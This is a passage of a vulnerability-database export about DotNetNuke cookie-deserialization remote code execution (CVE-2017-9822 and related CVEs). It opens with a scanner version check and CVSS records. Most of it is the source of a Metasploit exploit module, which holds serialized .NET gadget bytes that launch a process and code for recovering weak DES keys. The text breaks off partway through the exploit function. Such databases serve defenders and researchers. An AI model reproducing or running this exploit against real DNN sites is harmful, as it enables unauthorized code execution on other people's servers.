exit(0);\n}\n\ninclude(\"http.inc\");\ninclude(\"vcf.inc\");\n\napp = \"DNN\";\n\nget_install_count(app_name:app, exit_if_zero:TRUE);\nport = get_http_port(default:80, asp:TRUE);\n\napp_info = vcf::get_app_info(app:app, port:port, webapp:TRUE);\nvcf::check_granularity(app_info:app_info, sig_segments:3);\n\nconstraints = [\n {\"min_version\" : \"5.2.0\", \"fixed_version\" : \"9.1.1\" }\n];\n\nvcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_WARNING);\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "attackerkb": [{"lastseen": "2023-01-18T11:09:04", "description": "DNN (aka DotNetNuke) 9.2 through 9.2.2 uses a weak encryption algorithm to protect input parameters. NOTE: this issue exists because of an incomplete fix for CVE-2018-15811.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-07-03T00:00:00", "type": "attackerkb", "title": "CVE-2018-18325", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-15811", "CVE-2018-18325"], "modified": "2020-07-30T00:00:00", "id": "AKB:B631D77A-EA02-4131-8F66-5588DDBF3D3F", "href": "https://attackerkb.com/topics/kC2WB4Rfm0/cve-2018-18325", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-01-10T11:15:36", "description": "DNN (aka DotNetNuke) 9.2 through 9.2.1 incorrectly converts encryption key source values, resulting in lower than expected entropy.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-07-03T00:00:00", "type": "attackerkb", "title": "CVE-2018-15812", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-15812"], "modified": "2020-07-30T00:00:00", "id": "AKB:63360709-8F15-4D03-9CE0-636D91400714", "href": "https://attackerkb.com/topics/fMdOycS9sZ/cve-2018-15812", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-11-23T08:09:07", "description": "DNN (aka DotNetNuke) before 9.1.1 has Remote Code Execution via a cookie, aka \u201c2017-08 (Critical) Possible remote code execution on DNN sites.\u201d\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2017-07-20T00:00:00", "type": "attackerkb", "title": "CVE-2017-9822", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-9822"], "modified": "2020-07-30T00:00:00", "id": "AKB:615836BE-C140-4D07-B86A-E3FCCCAD3616", "href": "https://attackerkb.com/topics/Ed72WjaL4x/cve-2017-9822", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "exploitdb": [{"lastseen": "2022-08-16T06:07:18", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2020-04-16T00:00:00", "type": "exploitdb", "title": "DotNetNuke - Cookie Deserialization Remote Code Execution (Metasploit)", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["2017-9822", "2018-15811", "2018-15812", "2018-18325", "2018-18326", "CVE-2018-15811", "CVE-2018-15812"], "modified": "2020-04-16T00:00:00", "id": "EDB-ID:48336", "href": "https://www.exploit-db.com/exploits/48336", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nrequire 'msf/core/exploit/powershell'\r\nrequire 'openssl'\r\nrequire 'set'\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n include Msf::Exploit::Remote::HttpClient\r\n include Msf::Exploit::Powershell\r\n include Msf::Exploit::Remote::HttpServer\r\n\r\n Rank = ExcellentRanking\r\n\r\n # =================================\r\n # Overidden setup method to allow\r\n # for delayed handler start\r\n # =================================\r\n def setup\r\n # Reset the session counts to zero.\r\n reset_session_counts\r\n\r\n return if !payload_instance\r\n return if !handler_enabled?\r\n\r\n # Configure the payload handler\r\n payload_instance.exploit_config = {\r\n 'active_timeout' => active_timeout\r\n }\r\n\r\n # payload handler is normally set up and started here\r\n # but has been removed so we can start the handler when needed.\r\n end\r\n\r\n def initialize(info = {})\r\n super(update_info(\r\n info,\r\n 'Name' => \"DotNetNuke Cookie Deserialization Remote Code Execution\",\r\n 'Description' => %q(\r\n This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC.\r\n Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML.\r\n The expected structure includes a \"type\" attribute to instruct the server which type of object to create on deserialization.\r\n The cookie is processed by the application whenever it attempts to load the current user's profile data.\r\n This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration).\r\n An attacker can leverage this vulnerability to execute arbitrary code on the system.\r\n ),\r\n 'License' => MSF_LICENSE,\r\n 'Author' => [ 'Jon Park', 'Jon Seigel' ],\r\n 'References' =>\r\n [\r\n [ 'CVE', '2017-9822' ],\r\n [ 'CVE', '2018-15811'],\r\n [ 'CVE', '2018-15812'],\r\n [ 'CVE', '2018-18325'], # due to failure to patch CVE-2018-15811\r\n [ 'CVE', '2018-18326'], # due to failure to patch CVE-2018-15812\r\n [ 'URL', 'https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf'],\r\n [ 'URL', 'https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html'],\r\n [ 'URL', 'https://github.com/pwntester/ysoserial.net']\r\n ],\r\n 'Platform' => 'win',\r\n 'Targets' =>\r\n [\r\n [ 'Automatic', { 'auto' => true } ],\r\n [ 'v5.0 - v9.0.0', { 'ReqEncrypt' => false, 'ReqSession' => false } ],\r\n [ 'v9.0.1 - v9.1.1', { 'ReqEncrypt' => false, 'ReqSession' => false } ],\r\n [ 'v9.2.0 - v9.2.1', { 'ReqEncrypt' => true, 'ReqSession' => true } ],\r\n [ 'v9.2.2 - v9.3.0-RC', { 'ReqEncrypt' => true, 'ReqSession' => true } ]\r\n ],\r\n 'Stance' => Msf::Exploit::Stance::Aggressive,\r\n 'Payload' =>\r\n {\r\n\r\n },\r\n 'Privileged' => false,\r\n 'DisclosureDate' => \"Jul 20 2017\",\r\n 'DefaultOptions' => { 'WfsDelay' => 5 },\r\n 'DefaultTarget' => 0\r\n ))\r\n\r\n deregister_options('SRVHOST')\r\n\r\n register_options(\r\n [\r\n OptString.new('TARGETURI', [true, 'The path that will result in the DNN 404 response', '/__']),\r\n OptBool.new('DryRun', [false, 'Performs target version check, finds encryption KEY and IV values if required, and outputs a cookie payload', false]),\r\n OptString.new('VERIFICATION_PLAIN', [false, %q(The known (full or partial) plaintext of the encrypted verification code.\r\n Typically in the format of {portalID}-{userID} where portalID is an integer and userID is either an integer or GUID (v9.2.2+)), '']),\r\n OptBool.new('ENCRYPTED', [true, %q(Whether or not to encrypt the final payload cookie;\r\n (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV) are required if set to true.), false]),\r\n OptString.new('KEY', [false, 'The key to use for encryption.', '']),\r\n OptString.new('IV', [false, 'The initialization vector to use for encryption.', '']),\r\n OptString.new('SESSION_TOKEN', [false, %q(The .DOTNETNUKE session cookie to use when submitting the payload to the target server.\r\n DNN versions 9.2.0+ require the attack to be submitted from an authenticated context.), '']),\r\n OptString.new('VERIFICATION_CODE', [false, %q(The encrypted verification code received in a registration email.\r\n Can also be the path to a file containing a list of verification codes.), ''])\r\n ]\r\n )\r\n\r\n\r\n initialize_instance_variables\r\n end\r\n\r\n def initialize_instance_variables\r\n # ==================\r\n # COMMON VARIABLES\r\n # ==================\r\n\r\n @target_idx = 0\r\n\r\n # Flag for whether or not to perform exploitation\r\n @dry_run = false\r\n\r\n # Flag for whether or not the target requires encryption\r\n @encrypted = false\r\n\r\n # Flag for whether or not to attempt to decrypt the provided verification token(s)\r\n @try_decrypt = false\r\n\r\n # ==================\r\n # PAYLOAD VARIABLES\r\n # ==================\r\n\r\n # ObjectStateFormatter serialized header\r\n @osf_header = [255, 1, 50]\r\n\r\n # ObjectStateFormatter serialized data before the command payload\r\n @osf_wrapper_start = [\r\n 0, 1, 0, 0, 0, 255, 255, 255, 255, 1, 0, 0, 0, 0, 0, 0, 0, 12, 2, 0, 0, 0, 73,\r\n 83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52,\r\n 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101,\r\n 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84,\r\n 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101,\r\n 48, 56, 57, 5, 1, 0, 0, 0, 132, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111,\r\n 108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105,\r\n 99, 46, 83, 111, 114, 116, 101, 100, 83, 101, 116, 96, 49, 91, 91, 83, 121,\r\n 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111,\r\n 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48,\r\n 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117,\r\n 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111,\r\n 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56,\r\n 57, 93, 93, 4, 0, 0, 0, 5, 67, 111, 117, 110, 116, 8, 67, 111, 109, 112, 97,\r\n 114, 101, 114, 7, 86, 101, 114, 115, 105, 111, 110, 5, 73, 116, 101, 109, 115,\r\n 0, 3, 0, 6, 8, 141, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111, 108, 108, 101,\r\n 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105, 99, 46, 67, 111,\r\n 109, 112, 97, 114, 105, 115, 111, 110, 67, 111, 109, 112, 97, 114, 101, 114,\r\n 96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103,\r\n 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105,\r\n 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114,\r\n 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99,\r\n 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49,\r\n 57, 51, 52, 101, 48, 56, 57, 93, 93, 8, 2, 0, 0, 0, 2, 0, 0, 0, 9, 3, 0, 0, 0,\r\n 2, 0, 0, 0, 9, 4, 0, 0, 0, 4, 3, 0, 0, 0, 141, 1, 83, 121, 115, 116, 101, 109,\r\n 46, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101,\r\n 114, 105, 99, 46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 67, 111, 109,\r\n 112, 97, 114, 101, 114, 96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83,\r\n 116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32,\r\n 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67,\r\n 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80,\r\n 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55,\r\n 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 93, 1, 0, 0, 0, 11,\r\n 95, 99, 111, 109, 112, 97, 114, 105, 115, 111, 110, 3, 34, 83, 121, 115, 116,\r\n 101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108,\r\n 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 9, 5, 0, 0, 0,\r\n 17, 4, 0, 0, 0, 2, 0, 0, 0, 6, 6, 0, 0, 0\r\n ]\r\n\r\n # ObjectStateFormatter serialized data to place after the command payload.\r\n @osf_wrapper_end = [\r\n 6, 7, 0, 0, 0, 3, 99, 109, 100, 4, 5, 0, 0, 0, 34, 83, 121, 115, 116, 101,\r\n 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108,\r\n 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 3, 0, 0, 0, 8,\r\n 68, 101, 108, 101, 103, 97, 116, 101, 7, 109, 101, 116, 104, 111, 100, 48, 7,\r\n 109, 101, 116, 104, 111, 100, 49, 3, 3, 3, 48, 83, 121, 115, 116, 101, 109,\r\n 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105,\r\n 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 43, 68, 101, 108,\r\n 101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 47, 83, 121, 115, 116, 101,\r\n 109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 77, 101, 109,\r\n 98, 101, 114, 73, 110, 102, 111, 83, 101, 114, 105, 97, 108, 105, 122, 97,\r\n 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 47, 83, 121, 115, 116, 101,\r\n 109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 77, 101, 109,\r\n 98, 101, 114, 73, 110, 102, 111, 83, 101, 114, 105, 97, 108, 105, 122, 97,\r\n 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 9, 8, 0, 0, 0, 9, 9, 0, 0,\r\n 0, 9, 10, 0, 0, 0, 4, 8, 0, 0, 0, 48, 83, 121, 115, 116, 101, 109, 46, 68,\r\n 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105, 122, 97,\r\n 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 43, 68, 101, 108, 101, 103,\r\n 97, 116, 101, 69, 110, 116, 114, 121, 7, 0, 0, 0, 4, 116, 121, 112, 101, 8,\r\n 97, 115, 115, 101, 109, 98, 108, 121, 6, 116, 97, 114, 103, 101, 116, 18,\r\n 116, 97, 114, 103, 101, 116, 84, 121, 112, 101, 65, 115, 115, 101, 109, 98,\r\n 108, 121, 14, 116, 97, 114, 103, 101, 116, 84, 121, 112, 101, 78, 97, 109,\r\n 101, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 13, 100, 101, 108,\r\n 101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 1, 1, 2, 1, 1, 1, 3, 48, 83,\r\n 121, 115, 116, 101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101,\r\n 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101,\r\n 114, 43, 68, 101, 108, 101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 6, 11,\r\n 0, 0, 0, 176, 2, 83, 121, 115, 116, 101, 109, 46, 70, 117, 110, 99, 96, 51,\r\n 91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32,\r\n 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111,\r\n 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114,\r\n 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99,\r\n 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49,\r\n 57, 51, 52, 101, 48, 56, 57, 93, 44, 91, 83, 121, 115, 116, 101, 109, 46, 83,\r\n 116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44,\r\n 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32,\r\n 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44,\r\n 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98,\r\n 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 44, 91, 83,\r\n 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99,\r\n 115, 46, 80, 114, 111, 99, 101, 115, 115, 44, 32, 83, 121, 115, 116, 101,\r\n 109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46,\r\n 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114,\r\n 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101,\r\n 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93,\r\n 93, 6, 12, 0, 0, 0, 75, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86,\r\n 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67,\r\n 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32,\r\n 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55,\r\n 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 10, 6, 13, 0, 0, 0,\r\n 73, 83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110,\r\n 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61,\r\n 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101,\r\n 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51,\r\n 52, 101, 48, 56, 57, 6, 14, 0, 0, 0, 26, 83, 121, 115, 116, 101, 109, 46, 68,\r\n 105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 46, 80, 114, 111, 99, 101,\r\n 115, 115, 6, 15, 0, 0, 0, 5, 83, 116, 97, 114, 116, 9, 16, 0, 0, 0, 4, 9, 0,\r\n 0, 0, 47, 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116,\r\n 105, 111, 110, 46, 77, 101, 109, 98, 101, 114, 73, 110, 102, 111, 83, 101,\r\n 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101,\r\n 114, 7, 0, 0, 0, 4, 78, 97, 109, 101, 12, 65, 115, 115, 101, 109, 98, 108,\r\n 121, 78, 97, 109, 101, 9, 67, 108, 97, 115, 115, 78, 97, 109, 101, 9, 83,\r\n 105, 103, 110, 97, 116, 117, 114, 101, 10, 83, 105, 103, 110, 97, 116, 117,\r\n 114, 101, 50, 10, 77, 101, 109, 98, 101, 114, 84, 121, 112, 101, 16, 71, 101,\r\n 110, 101, 114, 105, 99, 65, 114, 103, 117, 109, 101, 110, 116, 115, 1, 1, 1,\r\n 1, 1, 0, 3, 8, 13, 83, 121, 115, 116, 101, 109, 46, 84, 121, 112, 101, 91,\r\n 93, 9, 15, 0, 0, 0, 9, 13, 0, 0, 0, 9, 14, 0, 0, 0, 6, 20, 0, 0, 0, 62, 83,\r\n 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99,\r\n 115, 46, 80, 114, 111, 99, 101, 115, 115, 32, 83, 116, 97, 114, 116, 40, 83,\r\n 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121,\r\n 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 6, 21, 0, 0, 0, 62,\r\n 83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105,\r\n 99, 115, 46, 80, 114, 111, 99, 101, 115, 115, 32, 83, 116, 97, 114, 116, 40,\r\n 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83,\r\n 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 8, 0, 0, 0,\r\n 10, 1, 10, 0, 0, 0, 9, 0, 0, 0, 6, 22, 0, 0, 0, 7, 67, 111, 109, 112, 97,\r\n 114, 101, 9, 12, 0, 0, 0, 6, 24, 0, 0, 0, 13, 83, 121, 115, 116, 101, 109,\r\n 46, 83, 116, 114, 105, 110, 103, 6, 25, 0, 0, 0, 43, 73, 110, 116, 51, 50,\r\n 32, 67, 111, 109, 112, 97, 114, 101, 40, 83, 121, 115, 116, 101, 109, 46,\r\n 83, 116, 114, 105, 110, 103, 44, 32, 83, 121, 115, 116, 101, 109, 46, 83,\r\n 116, 114, 105, 110, 103, 41, 6, 26, 0, 0, 0, 50, 83, 121, 115, 116, 101,\r\n 109, 46, 73, 110, 116, 51, 50, 32, 67, 111, 109, 112, 97, 114, 101, 40, 83,\r\n 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121,\r\n 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 8, 0, 0, 0, 10, 1,\r\n 16, 0, 0, 0, 8, 0, 0, 0, 6, 27, 0, 0, 0, 113, 83, 121, 115, 116, 101, 109,\r\n 46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 96, 49, 91, 91, 83, 121,\r\n 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99,\r\n 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52,\r\n 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110,\r\n 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101,\r\n 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51,\r\n 52, 101, 48, 56, 57, 93, 93, 9, 12, 0, 0, 0, 10, 9, 12, 0, 0, 0, 9, 24, 0,\r\n 0, 0, 9, 22, 0, 0, 0, 10, 11\r\n ]\r\n\r\n @cr_regex = /(?<=Copyright \\(c\\) 2002-)(\\d{4})/\r\n\r\n # ==================\r\n # v9.1.1+ VARIABLES\r\n # ==================\r\n\r\n\r\n @key_charset = \"02468ABDF\"\r\n @verification_codes = []\r\n\r\n @iv_regex = /[0-9A-F]{8}/\r\n\r\n # Known plaintext\r\n @kpt = \"\"\r\n\r\n # Encryption objects\r\n @decryptor = OpenSSL::Cipher.new('des')\r\n @decryptor.decrypt\r\n\r\n @encryptor = OpenSSL::Cipher.new('des')\r\n @encryptor.encrypt\r\n\r\n # final passphrase (key +iv) to use for payload (v9.1.1+)\r\n @passphrase = \"\"\r\n\r\n # ==================\r\n # v9.2.0+ VARIABLES\r\n # ==================\r\n\r\n # Session token needed for exploitation (v9.2.0+)\r\n @session_token = \"\"\r\n\r\n # ==================\r\n # v9.2.2+ VARIABLES\r\n # ==================\r\n\r\n # User ID format (v9.2.2+)\r\n # Number of characters of user ID available in plaintext\r\n # is equal to the length of a GUID (no spaces or dashes)\r\n # minus (blocksize - known plaintext length).\r\n @user_id_pt_length = 32 - (8 - @kpt.length)\r\n @user_id_regex = /[0-9a-f]{#{@user_id_pt_length}}/\r\n\r\n # Plaintext found from decryption (v9.2.2+)\r\n @found_pt = \"\"\r\n\r\n @iv_charset = \"0123456789abcdef\"\r\n\r\n # Possible IVs used to encrypt verification codes (v9.2.2+)\r\n @possible_ivs = Set.new([])\r\n\r\n # Possible keys used to encrypt verification codes (v9.2.2+)\r\n @possible_keys = Set.new([])\r\n\r\n # passphrases (key + iv) values to use for payload encryption (v9.2.2+)\r\n @passphrases = []\r\n\r\n # char sets to use when generating possible base keys\r\n @unchanged = Set.new([65,70])\r\n end\r\n\r\n def decode_verification(code)\r\n # Decode verification code base don DNN format\r\n return String.new(\r\n Rex::Text.decode_base64(\r\n code.chomp.gsub(\".\", \"+\").gsub(\"-\", \"/\").gsub(\"_\", \"=\")\r\n )\r\n )\r\n end\r\n\r\n # ==============\r\n # Main function\r\n # ==============\r\n def exploit\r\n\r\n return unless check == Exploit::CheckCode::Appears\r\n\r\n @encrypted = datastore['ENCRYPTED']\r\n verification_code = datastore['VERIFICATION_CODE']\r\n if File.file?(verification_code)\r\n File.readlines(verification_code).each do |code|\r\n @verification_codes.push(decode_verification(code))\r\n end\r\n else\r\n @verification_codes.push(decode_verification(verification_code))\r\n end\r\n\r\n @kpt = datastore['VERIFICATION_PLAIN']\r\n\r\n @session_token = datastore['SESSION_TOKEN']\r\n @dry_run = datastore['DryRun']\r\n key = datastore['KEY']\r\n iv = datastore['IV']\r\n\r\n if target['ReqEncrypt'] && @encrypted == false\r\n print_warning(\"Target requires encrypted payload. Exploit may not succeed.\")\r\n end\r\n\r\n if @encrypted\r\n # Requires either supplied key and IV, or verification code and plaintext\r\n if (!key.blank? && !iv.blank?)\r\n @passphrase = key + iv\r\n # Key and IV were supplied, don't try and decrypt.\r\n @try_decrypt = false\r\n elsif (!@verification_codes.empty? && !@kpt.blank?)\r\n @try_decrypt = true\r\n else\r\n fail_with(Failure::BadConfig, \"You must provide either (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV).\")\r\n end\r\n end\r\n\r\n if target['ReqSession']\r\n if 